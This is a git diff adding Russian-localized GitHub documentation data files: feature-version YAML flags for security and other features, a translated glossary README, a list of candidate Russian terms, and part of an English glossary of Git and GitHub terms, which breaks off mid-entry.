b/translations/ru-RU/data/features/secret-scanning-custom-enterprise-36.yml @@ -0,0 +1,6 @@ +# Issues: changes to custom patterns for secret scanning +# #6904: updates for "enterprise account level dry runs (Public Beta)" +# #7297: updates for dry runs on editing patterns (Public Beta) +versions: + ghes: '>3.5 <3.7' + ghae: 'issue-6904' diff --git a/translations/ru-RU/data/features/secret-scanning-push-protection-bypasses.yml b/translations/ru-RU/data/features/secret-scanning-push-protection-bypasses.yml new file mode 100644 index 000000000000..1f76e1f6d075 --- /dev/null +++ b/translations/ru-RU/data/features/secret-scanning-push-protection-bypasses.yml @@ -0,0 +1,6 @@ +# Reference: #7298. +# Documentation for new events related to secret scanning push protection bypasses, e.g. audit log. +versions: + ghec: '*' + ghes: '>=3.6' + ghae: 'issue-7298' diff --git a/translations/ru-RU/data/features/secret-scanning-push-protection-email.yml b/translations/ru-RU/data/features/secret-scanning-push-protection-email.yml new file mode 100644 index 000000000000..6a29e7c830c0 --- /dev/null +++ b/translations/ru-RU/data/features/secret-scanning-push-protection-email.yml @@ -0,0 +1,6 @@ +# Reference: #7511. +# When developers bypass a block by push protection for a detected secret, administrators will receive an email notification of that bypass. +versions: + ghec: '*' + ghes: '>=3.7' + ghae: 'issue-7511' diff --git a/translations/ru-RU/data/features/secret-scanning-push-protection-web-ui.yml b/translations/ru-RU/data/features/secret-scanning-push-protection-web-ui.yml new file mode 100644 index 000000000000..5e61e50ab817 --- /dev/null +++ b/translations/ru-RU/data/features/secret-scanning-push-protection-web-ui.yml @@ -0,0 +1,6 @@ +# Reference: #6788. +# Documentation for secret scanning as a push protection in the web ui (as opposed to command line) +versions: + ghes: '>=3.6' + ghae: 'issue-6788' + ghec: '*' diff --git a/translations/ru-RU/data/features/secret-scanning-push-protection.yml b/translations/ru-RU/data/features/secret-scanning-push-protection.yml new file mode 100644 index 000000000000..cdc8054e090c --- /dev/null +++ b/translations/ru-RU/data/features/secret-scanning-push-protection.yml @@ -0,0 +1,6 @@ +# Reference: #5620. +# Documentation for secret scanning as a push protection +versions: + ghes: '>=3.5' + ghae: 'issue-5620' + ghec: '*' diff --git a/translations/ru-RU/data/features/security-advisories-ghes-ghae.yml b/translations/ru-RU/data/features/security-advisories-ghes-ghae.yml new file mode 100644 index 000000000000..bec5d8f035a2 --- /dev/null +++ b/translations/ru-RU/data/features/security-advisories-ghes-ghae.yml @@ -0,0 +1,4 @@ +# Reference: Issue #6982 Community Contributions to Security Advisories - Enterprise 3.6 +versions: + ghes: '>=3.6' + ghae: 'issue-6982' diff --git a/translations/ru-RU/data/features/security-managers.yml b/translations/ru-RU/data/features/security-managers.yml new file mode 100644 index 000000000000..689f14c09047 --- /dev/null +++ b/translations/ru-RU/data/features/security-managers.yml @@ -0,0 +1,7 @@ +# Reference: #4999. +# Documentation for the security manager org-level role +versions: + fpt: '*' + ghes: '>=3.3' + ghae: '*' + ghec: '*' diff --git a/translations/ru-RU/data/features/security-overview-displayed-alerts.yml b/translations/ru-RU/data/features/security-overview-displayed-alerts.yml new file mode 100644 index 000000000000..47e4cc9c48c0 --- /dev/null +++ b/translations/ru-RU/data/features/security-overview-displayed-alerts.yml @@ -0,0 +1,6 @@ +# Reference: #7114. +# Documentation for security overview availability to all enterprise accounts. +versions: + ghec: '*' + ghes: '>=3.7' + ghae: 'issue-7114' diff --git a/translations/ru-RU/data/features/security-overview-feature-specific-alert-page.yml b/translations/ru-RU/data/features/security-overview-feature-specific-alert-page.yml new file mode 100644 index 000000000000..a3ac7515ceaa --- /dev/null +++ b/translations/ru-RU/data/features/security-overview-feature-specific-alert-page.yml @@ -0,0 +1,7 @@ +# Reference: #7028. +# Documentation for feature-specific page for security overview at enterprise-level. +versions: + fpt: '*' + ghec: '*' + ghes: '>3.5' + ghae: 'issue-7028' diff --git a/translations/ru-RU/data/features/server-statistics.yml b/translations/ru-RU/data/features/server-statistics.yml new file mode 100644 index 000000000000..229675f2b3dc --- /dev/null +++ b/translations/ru-RU/data/features/server-statistics.yml @@ -0,0 +1,4 @@ +# Reference #6677 +# Documentation for GitHub Enterprise Server Statistics +versions: + ghes: '>=3.5' diff --git a/translations/ru-RU/data/features/ssh-commit-verification.yml b/translations/ru-RU/data/features/ssh-commit-verification.yml new file mode 100644 index 000000000000..87f1f3d24305 --- /dev/null +++ b/translations/ru-RU/data/features/ssh-commit-verification.yml @@ -0,0 +1,8 @@ +# Reference: github/docs-content#6709 +# Initial docs for showing SSH signed commits as verified and +# uploading SSH signing keys +versions: + fpt: '*' + ghec: '*' + ghes: '>= 3.7' + ghae: '*' diff --git a/translations/ru-RU/data/features/streaming-datadog.yml b/translations/ru-RU/data/features/streaming-datadog.yml new file mode 100644 index 000000000000..9c099525c1de --- /dev/null +++ b/translations/ru-RU/data/features/streaming-datadog.yml @@ -0,0 +1,4 @@ +# Reference #7495 +# Documentation for audit log streaming to a Datadog endpoint +versions: + ghec: '*' diff --git a/translations/ru-RU/data/features/streaming-oidc-s3.yml b/translations/ru-RU/data/features/streaming-oidc-s3.yml new file mode 100644 index 000000000000..59363ca2b79f --- /dev/null +++ b/translations/ru-RU/data/features/streaming-oidc-s3.yml @@ -0,0 +1,4 @@ +# Reference #7030 +# Documentation for using OIDC as authentication for audit log streaming to S3 +versions: + ghec: '*' diff --git a/translations/ru-RU/data/features/svg-support.yml b/translations/ru-RU/data/features/svg-support.yml new file mode 100644 index 000000000000..0203d64cb943 --- /dev/null +++ b/translations/ru-RU/data/features/svg-support.yml @@ -0,0 +1,5 @@ +# Releases issue #1951 +# Support upload of SVG files +versions: + fpt: '*' + ghec: '*' diff --git a/translations/ru-RU/data/features/syncing-fork-web-ui.yml b/translations/ru-RU/data/features/syncing-fork-web-ui.yml new file mode 100644 index 000000000000..05f39707dec0 --- /dev/null +++ b/translations/ru-RU/data/features/syncing-fork-web-ui.yml @@ -0,0 +1,7 @@ +# Issue 7629 +# Improved UI for manually syncing a fork +versions: + fpt: '*' + ghec: '*' + ghes: '>=3.7' + ghae: 'issue-7629' diff --git a/translations/ru-RU/data/features/totp-and-mobile-sudo-challenge.yml b/translations/ru-RU/data/features/totp-and-mobile-sudo-challenge.yml new file mode 100644 index 000000000000..caf7524585f0 --- /dev/null +++ b/translations/ru-RU/data/features/totp-and-mobile-sudo-challenge.yml @@ -0,0 +1,6 @@ +# TOTP and mobile challenge for sudo mode prompt. + +versions: + fpt: '*' + ghec: '*' + ghes: '>= 3.7' diff --git a/translations/ru-RU/data/features/upload-expired-or-revoked-gpg-key.yml b/translations/ru-RU/data/features/upload-expired-or-revoked-gpg-key.yml new file mode 100644 index 000000000000..f11ff75cbdc5 --- /dev/null +++ b/translations/ru-RU/data/features/upload-expired-or-revoked-gpg-key.yml @@ -0,0 +1,8 @@ +# Issue: 7123 +# Description: Allow adding expired and revoked GPG keys for verifying commit and tag signatures +# Usage: {% ifversion upload-expired-or-revoked-gpg-key %} ... {% endif %} +versions: + fpt: '*' + ghec: '*' + ghes: '>=3.6' + ghae: 'issue-7123' diff --git a/translations/ru-RU/data/glossaries/README.md b/translations/ru-RU/data/glossaries/README.md new file mode 100644 index 000000000000..2afdc9992514 --- /dev/null +++ b/translations/ru-RU/data/glossaries/README.md @@ -0,0 +1,16 @@ +--- +ms.openlocfilehash: 6d982c0371125b4bf2536b0f7840abe05281db2d +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145069620" +--- +# Глоссарии + +В [глоссарий Crowdin](https://support.crowdin.com/glossary/) входят следующие файлы: + +* `external.yml` содержит записи глоссария, доступные для клиентов. + * В строках `external.yml` можно использовать условные операторы Liquid. См. [contributing/liquid-helpers.md](/contributing/liquid-helpers.md). +* `internal.yml` содержит записи, используемые только переводчиками. Эти термины отображаются в пользовательском интерфейсе Crowdin, чтобы предоставить переводчикам дополнительный контекст того, что они переводят, а также предлагаемую локализованную строку для этого термина. +* `candidates.yml` содержит термины, которые должны быть включены либо во внутренний, либо во внешний глоссарий, но еще не определены. diff --git a/translations/ru-RU/data/glossaries/candidates.yml b/translations/ru-RU/data/glossaries/candidates.yml new file mode 100644 index 000000000000..2354f124781d --- /dev/null +++ b/translations/ru-RU/data/glossaries/candidates.yml @@ -0,0 +1,101 @@ +- term: "Поддержка уровня \"Премиум\"" +- term: "Поддержка уровня \"Стандартный\"" +- term: Инцидент +- term: отправить +- term: контактное лицо +- term: Severity +- term: Соглашение об уровне обслуживания +- term: Благодарности +- term: команда управления учетными записями +- term: запрос +- term: Поддержка Enterprise +- term: портал поддержки +- term: Срочный +- term: Высокий +- term: Средний +- term: Низкий +- term: набор расширенной поддержки +- term: Название компании +- term: режим конфиденциальности +- term: Метод проверки подлинности +- term: часы работы +- term: лидерство +- term: Передать на рассмотрение руководству +- term: пропущенные ответы на запрос +- term: Георепликация +- term: производственная система +- term: обезличивание конфиденциальных данных +- term: бизнес-обоснование +- term: Одобренные кредиты +- term: Связаться с отделом продаж +- term: Связаться с отделом обучения +- term: Исходящие +- term: буквенно-цифровой +- term: предложение +- term: план ценообразования; +- term: поэлементный тарифный план +- term: роль +- term: активировать купон +- term: бесплатный тарифный план +- term: свободный +- term: discount +- term: устаревшая проверка +- term: засчитанные вклады +- term: метка конфликта +- term: Фиксация незавершенной работы +- term: фиксация предка +- term: диаграмма вкладов +- term: утвердить +- term: отклонить +- term: этап +- term: приглашение +- term: время бесперебойной работы +- term: обсуждение +- term: условия предоставления услуг и политика конфиденциальности +- term: возобновить использование +- term: центр администрирования +- term: академическая роль +- term: студенческая скидка +- term: одноразовый домен +- term: смена +- term: quota +- term: закрытый ключ +- term: открытый ключ +- term: горячая замена кода +- term: выпуск с новыми функциями +- term: совместная фиксация +- term: изоляция поддомена +- term: встроенная проверка подлинности +- term: ограничения числа злоупотреблений +- term: средняя загрузка +- term: временный +- term: предварительная проверка +- term: представитель учетной записи +- term: единый поиск +- term: неактивный пользователь +- term: доставки +- term: удержание по юридическим причинам +- term: незапрашиваемый ответ единого входа +- term: "единый вход, инициированный поставщиком удостоверений" +- term: подлинность сообщений +- term: Все права защищены +- term: Campus Advisors +- term: Campus Experts +- term: модели совместной разработки +- term: единое представление +- term: трехточечное различие +- term: расширенное различие +- term: диалог +- term: общедоступный gist / скрытый gist +- term: Расширение +- term: закупочные компании +- term: заказы на продление +- term: цены на одного пользователя +- term: наблюдатель +- term: Обязательное подписывание фиксации +- term: Наборы тестов проверки +- term: скидка для класса +- term: пакет учащегося-разработчика +- term: скидка для научных исследований +- term: Stargazers +- term: снятие флагов спама diff --git a/translations/ru-RU/data/glossaries/external.yml b/translations/ru-RU/data/glossaries/external.yml new file mode 100644 index 000000000000..2fd18cd19161 --- /dev/null +++ b/translations/ru-RU/data/glossaries/external.yml @@ -0,0 +1,788 @@ +- term: '@mention' + description: + To notify a person on GitHub by using `@` before their username. Users in an organization on GitHub can also be a part of a team that can be + mentioned. +- term: access token + description: >- + A token that is used in place of a password when performing Git operations + over HTTPS with Git on the command line or the API. Also called a personal + access token. +- term: API preview + description: >- + A way to try out new APIs and changes to existing API methods before they + become part of the official GitHub API. +- term: appliance + description: >- + A software application combined with just enough operating system (JeOS) to + run optimally on industry-standard hardware (typically a server) or in a + virtual machine. +- term: assignee + description: The user that is assigned to an issue. +- term: authentication code + description: >- + A code you'll supply, in addition to your GitHub password, when signing in + with 2FA via the browser. This code is either generated by an application or delivered to + your phone via text message. Also called a "2FA authentication code." +- term: base branch + description: + The branch into which changes are combined when you merge a pull request. + When you create a pull request, you can change the base branch from the repository's default branch to another branch if required. +- term: basic authentication + description: >- + A method of authentication where the credentials are sent as + unencrypted text. +- term: bio + description: >- + The user-generated description found on a profile: + [Adding a bio to your profile](/articles/adding-a-bio-to-your-profile) +- term: billing cycle + description: The interval of time for your specific billing plan. +- term: billing email + description: >- + The organization email address where GitHub sends receipts, credit card or + PayPal charges, and other billing-related communication. +- term: billing manager + description: The organization member that manages billing settings for an organization. +- term: billing plan + description: >- + Payment plans for users and organizations that include set features for each + type of plan. +- term: blame + description: >- + The "blame" feature in Git describes the last modification to each line of a + file, which generally displays the revision, author and time. This is + helpful, for example, in tracking down when a feature was added, or which + commit led to a particular bug. +- term: block + description: >- + To remove a user's ability to collaborate on an organization's repositories. +- term: branch + description: >- + A branch is a parallel version of a repository. It is contained within the + repository, but does not affect the primary or main branch allowing you to + work freely without disrupting the "live" version. When you've made the + changes you want to make, you can merge your branch back into the main + branch to publish your changes. +- term: branch restriction + description: >- + A restriction that repository admins can enable so that only certain users + or teams can push or make certain changes to the branch. +- term: Business plan + description: >- + An organization billing plan where you can collaborate on unlimited public + and private repositories, allow or require organization members to + authenticate to GitHub using SAML SSO, and provision and deprovision access + with SAML or SCIM. +- term: CA certificate + description: >- + A digital certificate issued by Certificate Authority (CA) that ensures there are valid connections between two machines, such as a user's computer and GitHub.com and verifies the ownership of a site. +- term: card + description: A movable square within a project board associated with an issue or pull request. +- term: check + description: >- + A check is a type of status check on {% data variables.product.product_name %}. See "[Status checks](#status-checks)." +- term: checkout + description: >- + You can use `git checkout` on the command line to create a new branch, change your current working branch to a different branch, or even to switch to a different version of a file from a different branch with `git checkout [branchname] [path to file]`. The "checkout" action updates all or part of the working tree with a tree object or + blob from the object database, and updates the index and HEAD if the whole + working tree is pointing to a new branch. +- term: cherry-picking + description: >- + To choose a subset of changes from a series of changes (typically commits) and record them as a new series of changes on top of a different codebase. In Git, this is performed by the `git cherry-pick` command to extract the change introduced by an existing commit on another branch and to record it based on the tip of the current branch as a new commit. For more information, see [git-cherry-pick](https://git-scm.com/docs/git-cherry-pick) in the Git documentation. +- term: child team + description: >- + Within nested teams, the subteam that inherits the parent team's access + permissions and @mentions. +- term: clean + description: >- + A working tree is clean if it corresponds to the revision referenced by the + current HEAD. Also see "dirty". +- term: clone + description: >- + A clone is a copy of a repository that lives on your computer instead of on + a website's server somewhere, or the act of making that copy. When you make a + clone, you can edit the files in your preferred editor and use Git to keep + track of your changes without having to be online. The repository you cloned + is still connected to the remote version so that you can push your local + changes to the remote to keep them synced when you're online. +- term: clustering + description: >- + The ability to run GitHub Enterprise services across multiple nodes and load + balance requests between them. +- term: code frequency graph + description: >- + A repository graph that shows the content additions and deletions for each + week in a repository's history. +- term: code of conduct + description: A document that defines standards for how to engage in a community. +- term: code owner + description: >- + A person who is designated as an owner of a portion of a repository's code. The code owner is automatically requested for review when someone opens a pull request (not in draft mode) that makes changes to code the code owner owns. +- term: collaborator + description: >- + A collaborator is a person with read and write access to a repository who + has been invited to contribute by the repository owner. +- term: commit + description: >- + A commit, or "revision", is an individual change to a file (or set of + files). When you make a commit to save your work, Git creates a unique ID (a.k.a. the "SHA" or "hash") that allows you to keep record of the specific changes committed along with who made them and when. Commits usually contain a + commit message which is a brief description of what changes were made. +- term: commit author + description: The user who makes the commit. +- term: Commit graph + description: >- + A repository graph that shows all the commits made to a repository in the + past year. +- term: commit ID + description: Also known as SHA. A 40-character checksum hash that identifies the commit. +- term: commit message + description: >- + Short, descriptive text that accompanies a commit and communicates the change + the commit is introducing. +- term: compare branch + description: >- + The branch you use to create a pull request. + This branch is compared to the base branch you choose for the pull request, and the changes are identified. + When the pull request is merged, the base branch is updated with the changes from the compare branch. + Also known as the "head branch" of the pull request. +- term: continuous integration + description: >- + Also known as CI. A process that runs automated builds and tests once a person commits a change to a configured repository on GitHub. CI is a common best practice in software development that helps detect errors. +- term: contribution graph + description: >- + The part of a user's profile that shows their contributions over a period of + up to one year, day by day. +- term: contribution guidelines + description: A document explaining how people should contribute to your project. +- term: contributions + description: >- + Specific activities on GitHub that will: + - Add a square to a user's contribution graph: "[What counts as a contribution](/articles/viewing-contributions-on-your-profile/#what-counts-as-a-contribution)" + - Add activities to a user's timeline on their profile: "[Contribution activity](/articles/viewing-contributions-on-your-profile/#contribution-activity)" +- term: contributor + description: >- + A contributor is someone who does not have collaborator access to a repository but has contributed to a project and had a pull request they opened merged into the repository. +- term: contributors graph + description: A repository graph that displays the top 100 contributors to a repository. +- term: coupon + description: >- + A GitHub-provided code that users or organizations can use to pay for all or + part of their subscription. +- term: cron + description: A time-based job scheduler in Unix-like computer operating systems. +- term: cURL + description: Used in command lines or scripts to transfer data. +- term: dashboard + description: >- + Your personal dashboard is the main hub of your activity on GitHub. From your personal dashboard, you can keep track of issues and pull requests you're following or working on, navigate to your top repositories and team pages, and learn about recent activity in repositories you're watching or participating in. You can also discover new repositories, which are recommended based on users you're following and repositories you have starred. To only view activity for a specific organization, visit your organization's dashboard. For more information, see "[About your personal dashboard](/articles/about-your-personal-dashboard)" or "[About your organization dashboard](/articles/about-your-organization-dashboard)." +- term: default branch + description: >- + The base branch for new pull requests and code commits in a repository. Each repository has at least one branch, which Git creates when you initialize the repository. The first branch is usually called {% ifversion ghes < 3.2 %}`master`{% else %}`main`{% endif %}, and is often the default branch. +- term: dependents graph + description: >- + A repository graph that shows the packages, projects, and repositories that depend on a + public repository. +- term: dependency graph + description: >- + A repository graph that shows the packages and projects that the repository depends on. +- term: deploy key + description: >- + A deploy key is an SSH key that is stored on your server and grants access + to a single GitHub repository. This key is attached directly to the + repository instead of to a personal user account. +- term: detached HEAD + description: >- + Git will warn you if you're working on a detached HEAD, which means that Git + is not pointing to a branch and that any commits you make will not appear in + commit history. For example, when you check out an arbitrary commit that + is not the latest commit of any particular branch, you're working on a + "detached HEAD." +- term: diagnostics + description: An overview of a GitHub Enterprise instance's settings and environment. +- term: diff + description: >- + A diff is the difference in changes between two commits, or saved changes. + The diff will visually describe what was added or removed from a file since + its last commit. +- term: directory + description: >- + A folder containing one or more files or folders. You can create directories to organize the contents of a repository. +- term: dirty + description: >- + A working tree is considered "dirty" if it contains modifications that have + not been committed to the current branch. +- term: email notifications + description: Notifications sent to a user's email address. +- term: enterprise account + description: Enterprise accounts allow you to centrally manage policy and billing for multiple organizations. {% data reusables.gated-features.enterprise-accounts %} +- term: Explorer + description: >- + An instance of GraphiQL, which is a "graphical interactive in-browser GraphQL + IDE." +- term: fast-forward + description: >- + A fast-forward is a special type of merge where you have a revision and you + are "merging" another branch's changes that happen to be a descendant of + what you have. In such a case, you do not make a new merge commit but + instead just update to this revision. This will happen frequently on a + remote-tracking branch of a remote repository. +- term: feature branch + description: >- + A branch used to experiment with a new feature or fix an issue that is not in production. Also called a topic branch. +- term: fenced code block + description: An indented block of code you can create with GitHub Flavored Markdown using triple backticks \`\`\` before and after the code block. See this [example](/articles/creating-and-highlighting-code-blocks#fenced-code-blocks). +- term: fetch + description: >- + When you use `git fetch`, you're adding changes from the remote repository to + your local working branch without committing them. Unlike `git pull`, fetching + allows you to review changes before committing them to your local branch. +- term: following (users) + description: To get notifications about another user's contributions and activity. +- term: force push + description: >- + A Git push that overwrites the remote repository with local changes without + regard for conflicts. +- term: fork + description: >- + A fork is a personal copy of another user's repository that lives on your + account. Forks allow you to freely make changes to a project without + affecting the original upstream repository. You can also open a pull request in + the upstream repository and keep your fork synced with the latest changes since + both repositories are still connected. +- term: Free plan + description: >- + A user account billing plan that is free. Users can collaborate on unlimited + public repositories with unlimited collaborators. +- term: gist + description: >- + A gist is a shareable file that you can edit, clone, and fork on GitHub. + You can make a gist {% ifversion ghae %}internal{% else %}public{% endif %} or secret, although secret gists will be + available to {% ifversion ghae %}any enterprise member{% else %}anyone{% endif %} with the URL. +- term: Git + description: >- + Git is an open source program for tracking changes in text files. It was + written by the author of the Linux operating system, and is the core + technology that GitHub, the social and user interface, is built on top of. +- term: GitHub App + description: >- + GitHub Apps provide a service to an entire organization and use their own + identity when performing their function. They can be installed directly on + organizations and user accounts and granted access to specific repositories. + They come with granular permissions and built-in webhooks. +- term: GitHub Flavored Markdown + description: GitHub-specific Markdown used to format prose and code across GitHub. See [GitHub Flavored Markdown Spec](https://github.github.com/gfm/) or [Getting started with writing and formatting on GitHub](/articles/getting-started-with-writing-and-formatting-on-github). +- term: GitHub Importer + description: >- + A tool that quickly imports source code repositories, including commits and + revision history, to GitHub for users. +- term: GitHub Jobs + description: >- + A GitHub site where employers can post jobs that GitHub users may be + interested in. +- term: GitHub Marketplace + description: >- + A subsite for GitHub users and organizations to purchase and install + applications that extend and complement their workflow. +- term: GitHub Pages + description: >- + Also referred to as Pages. A static site hosting service designed to host + your personal, organization, or project pages directly from a GitHub + repository. +- term: GitHub Wiki + description: A section for hosting wiki style documentation on a GitHub repository. +- term: gitfile + description: >- + A plain `.git` file, which is always at the root of a working tree and points to the Git directory, which has the entire Git repository and its meta data. You can view this file for your repository on the command line with `git rev-parse --git-dir`. + that is the real repository. +- term: GraphQL + description: >- + A query language for APIs and a runtime for fulfilling those queries with + your existing data. +- term: HEAD + description: A defined commit of a branch, usually the most recent commit at the tip of the branch. +- term: head branch + description: The branch whose changes are combined into the base branch + when you merge a pull request. + Also known as the "compare branch." +- term: 'Hello, World' + description: >- + A "Hello, World!" program is a computer program that outputs or displays + "Hello, World!" to a user. Since this program is usually very simple, it is + often used as an example of a programming language's basic syntax and + serves as a common first exercise for learning a new programming language. +- term: high-availability + description: >- + A system or component that is continuously operational for a desirably long + length of time. +- term: hook + description: >- + During the normal execution of several Git commands, call-outs are made to + optional scripts that allow a developer to add functionality or checking. + Typically, the hooks allow for a command to be pre-verified and potentially + aborted, and allow for a post-notification after the operation is done. +- term: hostname + description: >- + Human-readable nicknames that correspond to the address of a device + connected to a network. +- term: identicon + description: >- + An auto-generated image used as a default profile photo when users sign up for + GitHub. Users can replace their identicon with their own profile photo. +- term: identity provider + description: >- + Also known as an IdP. A trusted provider that lets you use SAML single + sign-on (SSO) to access other websites. +- term: instance + description: >- + An organization's private copy of GitHub contained within a virtual machine + that they configure and control. +- term: integration + description: >- + A third-party application that integrates with GitHub. These can be GitHub + Apps, OAuth Apps, or webhooks. +- term: issue + description: >- + Issues are suggested improvements, tasks or questions related to the + repository. Issues can be created by anyone (for public repositories), and + are moderated by repository collaborators. Each issue contains its own discussion thread. You can also categorize an issue with labels and assign it to someone. +- term: Jekyll + description: A static site generator for personal, project, or organization sites. +- term: Jekyll Theme Chooser + description: >- + An automated way to select a visual theme for your Jekyll site without editing or + copying CSS files. +- term: key fingerprint + description: A short sequence of bytes used to identify a longer public key. +- term: keychain + description: A password management system in macOS. +- term: keyword + description: A specific word that closes an issue when used within a pull request. +- term: label + description: >- + A tag on an issue or pull request. Repositories come with a handful of + default labels, but users can create custom labels. +- term: LFS + description: >- + Git Large File Storage. An open source Git extension for versioning large + files. +- term: license + description: >- + A document that you can include with your project to let people know what + they can and can't do with your source code. +- term: Linguist + description: >- + A library used on GitHub to detect blob languages, ignore binary or vendored + files, suppress generated files in diffs, and generate language breakdown + graphs. +- term: line comment + description: A comment within a pull request on a specific line of code. +- term: line ending + description: >- + An invisible character or characters that symbolize the end of a line in a + text file. +- term: locked personal account + description: >- + A personal account that cannot be accessed by the user. Accounts are locked + when users downgrade their paid account to a free one, or if their paid plan + is past due. +- term: management console + description: >- + A section within the GitHub Enterprise interface that contains + administrative features. +- term: Markdown + description: >- + Markdown is an incredibly simple semantic file format, not too dissimilar + from .doc, .rtf and .txt. Markdown makes it easy for even those without a + web-publishing background to write prose (including with links, lists, + bullets, etc.) and have it displayed like a website. GitHub supports + Markdown and uses a particular form of Markdown called GitHub Flavored Markdown. See [GitHub Flavored Markdown Spec](https://github.github.com/gfm/) or [Getting started with writing and formatting on GitHub](/articles/getting-started-with-writing-and-formatting-on-github). +- term: markup + description: A system for annotating and formatting a document. +- term: main + description: >- + The default development branch. Whenever you create a Git repository, + a branch named `main` is created, and becomes the active branch. + In most cases, this contains the local development, though that is purely by + convention and is not required. +- term: master + description: >- + The default branch in many Git repositories. By default, when you create + a new Git repository on the command line, a branch called `master` is created. + Many tools now use an alternative name for the default branch. For example, + when you create a new repository on GitHub, the default branch is called `main`. +- term: members graph + description: A repository graph that shows all the forks of a repository. +- term: mention + description: >- + A notification sent to a user by prefacing their username with the @ symbol. + Users in an organization on GitHub can also be a part of a team that can be + mentioned. +- term: merge + description: >- + Merging takes the changes from one branch (in the same repository or from a + fork), and applies them into another. This often happens as a "pull request" + (which can be thought of as a request to merge), or via the command line. A + merge can be done through a pull request via the GitHub.com web + interface if there are no conflicting changes, or can always be done via the + command line. +- term: merge conflict + description: >- + A difference that occurs between merged branches. Merge conflicts happen + when people make different changes to the same line of the same file, or + when one person edits a file and another person deletes the same file. The + merge conflict must be resolved before you can merge the branches. +- term: milestone + description: >- + A way to track the progress on groups of issues or pull requests in a + repository. +- term: mirror + description: A new copy of a repository. +- term: nested team + description: >- + A child team of a parent team. You can have multiple children (or nested) + teams. +- term: network graph + description: >- + A repository graph that shows the branch history of the entire repository + network, including branches of the root repository and branches of forks + that contain commits unique to the network. +- term: news feed + description: >- + An activity view of repositories or people you watch. An organization's News + Feed shows activity on repositories owned by the organization. +- term: non-fast-forward + description: >- + When your local copy of a repository is out-of-sync with the upstream + repository and you need to fetch the upstream changes before you push your + local changes. +- term: notification + description: >- + Updates, delivered by either the web or email depending on your settings, + that give you information about the activities you're interested in. +- term: OAuth App + description: >- + A third-party application that uses access tokens rather than passwords to + access information for users. +- term: OAuth token + description: The access token used in OAuth Apps to access information for users. +- term: outside collaborator + description: >- + A user who has been given access to one or more of an organization’s + repositories, but has no other access to the organization and is not a + member of the organization. +- term: open source + description: >- + Open source software is software that can be freely used, modified, and + shared (in both modified and unmodified form) by anyone. Today the concept + of "open source" is often extended beyond software, to represent a + philosophy of collaboration in which working materials are made available + online for anyone to fork, modify, discuss, and contribute to. +- term: organization + description: >- + Organizations are a group of two or more users that typically mirror + real-world organizations. They are administered by users and can contain + both repositories and teams. +- term: organization owner + description: Users who have full administrative access to the organization they own. +- term: origin + description: >- + The default upstream repository. Most projects have at least one upstream + project that they track. By default, origin is used for that purpose. +- term: owner + description: >- + Organization members that have complete administrative access to the + organization. +- term: parent team + description: >- + Within nested teams, the main team from which child teams inherit access + permissions and @mentions. +- term: participating notifications + description: >- + A notification about an update in a conversation in an issue or pull request + where your username or team was mentioned or where you have previously replied + in a comment. +- term: permalink + description: A permanent static hyperlink to a particular web page. +- term: personal account + description: >- + A GitHub account that belongs to an individual user. +- term: primary email address + description: >- + The main email address where GitHub sends receipts, credit card or PayPal + charges, and other billing-related communication. +- term: pinned repository + description: >- + A repository that a user has decided to display prominently on their + profile. +- term: pre-receive hooks + description: >- + Scripts that run on the GitHub Enterprise server that you can use to + implement quality checks. +- term: private contributions + description: Contributions made to a private (vs. public) repository. +- term: private repository + description: >- + Private repositories are only visible to the repository owner and + collaborators that the owner specified. +- term: production branch + description: >- + A branch with final changes that are ready to be used or deployed to an application or site. +- term: profile + description: The page that shows information about a user's activity on GitHub. +- term: profile photo + description: >- + A custom image users upload to GitHub to identify their activity, usually + along with their username. This is also referred to as an avatar. +- term: project board + description: >- + Boards within GitHub that are made up of issues, pull requests, and notes + that are categorized as cards in columns. +- term: protected branch + description: >- + Protected branches block several features of Git on a branch that a + repository administrator chooses to protect. They can't be force pushed, + deleted, have changes merged without required checks passing or required + reviews approved, or have files uploaded to it from the GitHub web + interface. A protected branch is usually the default branch. +- term: public contributions + description: Contributions made to a public (vs. private) repository. +- term: public repository + description: >- + A public repository can be viewed by anyone, including people who aren't + GitHub users. +- term: pull + description: >- + Pull refers to when you are fetching in changes and merging them. For + instance, if someone has edited the remote file you're both working on, + you'll want to pull in those changes to your local copy so that it's up to + date. See also fetch. +- term: pull access + description: A synonym for read access. +- term: pull request + description: >- + Pull requests are proposed changes to a repository submitted by a user and + accepted or rejected by a repository's collaborators. Like issues, pull + requests each have their own discussion forum. +- term: pull request review + description: >- + Comments from collaborators on a pull request that approve the changes or + request further changes before the pull request is merged. +- term: pulse graph + description: A repository graph that gives you an overview of a repository's activity. +- term: punch graph + description: >- + A repository graph that shows the frequency of updates to a repository based + on the day of week and time of day +- term: push + description: >- + To push means to send your committed changes to a remote repository on + GitHub.com. For instance, if you change something locally, you can push those changes so that others may access them. +- term: push a branch + description: >- + When you successfully push a branch to a remote repository, you update the remote branch with changes from your local branch. When you "push a branch", Git will search for the branch's HEAD ref in the remote repository and verify that it is a direct ancestor to the branch's local HEAD ref. Once verified, Git pulls all objects (reachable from the local HEAD ref and missing from the remote repository) into the remote object database and then updates the remote HEAD ref. If the remote HEAD is not an ancestor to the local HEAD, the push fails. +- term: push access + description: A synonym for write access. +- term: read access + description: >- + A permission level on a repository that allows the user to pull, or read, + information from the repository. All public repositories give read access to + all GitHub users. A synonym for pull access. +- term: README + description: A text file containing information about the files in a repository that is typically the first file a visitor to your repository will see. A README file, along with a repository license, contribution guidelines, and a code of conduct, helps you share expectations and manage contributions to your project. +- term: rebase + description: >- + To reapply a series of changes from a branch to a different base, and reset + the HEAD of that branch to the result. +- term: recovery code + description: A code that helps you regain access to your GitHub account. +- term: release + description: GitHub's way of packaging and providing software to your users. +- term: remote + description: >- + This is the version of a repository or branch that is hosted on a server, most likely + GitHub.com. Remote versions can be connected to local clones so that changes can be + synced. +- term: remote repository + description: >- + A repository that is used to track the same project but resides somewhere + else. +- term: remote URL + description: >- + The place where your code is stored: a repository on GitHub, another user's + fork, or even a different server. +- term: replica + description: >- + A GitHub Enterprise instance that provides redundancy for the primary GitHub + Enterprise instance. +- term: repository + description: >- + A repository is the most basic element of GitHub. They're easiest to imagine + as a project's folder. A repository contains all of the project files + (including documentation), and stores each file's revision history. + Repositories can have multiple collaborators and can be either public or + private. +- term: repository cache + description: >- + A read-only mirror of repositories for your GitHub Enterprise server instance, located near + distributed teams and CI clients. +- term: repository graph + description: A visual representation of your repository's data. +- term: repository maintainer + description: >- + Someone who manages a repository. This person may help triage issues and use labels and other features to manage the work of the repository. This 